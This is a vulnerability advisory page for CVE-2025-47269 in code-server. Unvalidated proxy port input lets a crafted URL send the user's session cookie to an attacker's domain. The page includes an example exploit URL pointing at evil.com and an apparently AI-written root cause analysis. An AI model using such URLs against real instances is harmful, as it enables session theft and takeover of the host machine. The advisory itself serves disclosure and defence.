8.3

CVSS Score

3.1

-

CVSS Score

Basic Information

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CVE-2025-47269

CVE-2025-47269: code-server's session cookie can be extracted by having user visit specially crafted proxy URL

Summary

A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.

Details

Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.

Impact

Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.

Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.

With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.

Patches

Patched versions are from v4.99.4 onward.

(GitHub Advisory)

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CVE-2025-47269

CVE-2025-47269:

8.3

CVSS Score

3.1

-

CVSS Score

Basic Information

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Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
code-server	npm	< 4.99.4	4.99.4

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability lies in the improper handling of the port parameter in the proxy functionality. The provided commit directly patches the getProxyTarget function in src/node/routes/pathProxy.ts. Before the patch, this function used req.params.port without validation, allowing an attacker to specify a malicious string (e.g., 'test@evil.com') as the port, leading to the proxying of requests to an arbitrary external domain. The patch introduces parseInt to ensure the port is a number and throws an error if it's invalid. Therefore, getProxyTarget is the vulnerable function as it was responsible for constructing the proxy target URL using the unvalidated input.

The function proxy which calls getProxyTarget would also appear in the stack trace during exploitation, but the core vulnerability (lack of input validation) is within getProxyTarget itself. The patch modifies getProxyTarget to fix the vulnerability by adding input validation for the port parameter. The proxy function itself is not changed in a way that directly addresses the vulnerability, other than by calling the now-patched getProxyTarget.

Therefore, the primary vulnerable function is getProxyTarget because it's where the unvalidated input is used to construct the proxy URL. The proxy function is an indicator as it's part of the execution flow that leads to the vulnerability being triggered, but the vulnerability itself is in getProxyTarget.

Based on the provided information and the patch, getProxyTarget is the most direct and accurate answer for the vulnerable function. The patch clearly shows the change in getProxyTarget to validate the port, which was the source of the vulnerability. The proxy function is part of the call stack but not the function containing the flawed logic that was patched.

Final Answer: The vulnerable function is getProxyTarget in src/node/routes/pathProxy.ts. The patch adds validation for req.params.port within this function to prevent the confused deputy attack. The proxy function, while part of the request handling, is not the function where the vulnerability itself resides; it calls getProxyTarget, which contained the flawed logic.

Vulnerable functions

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WAF Rule

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Reasoning

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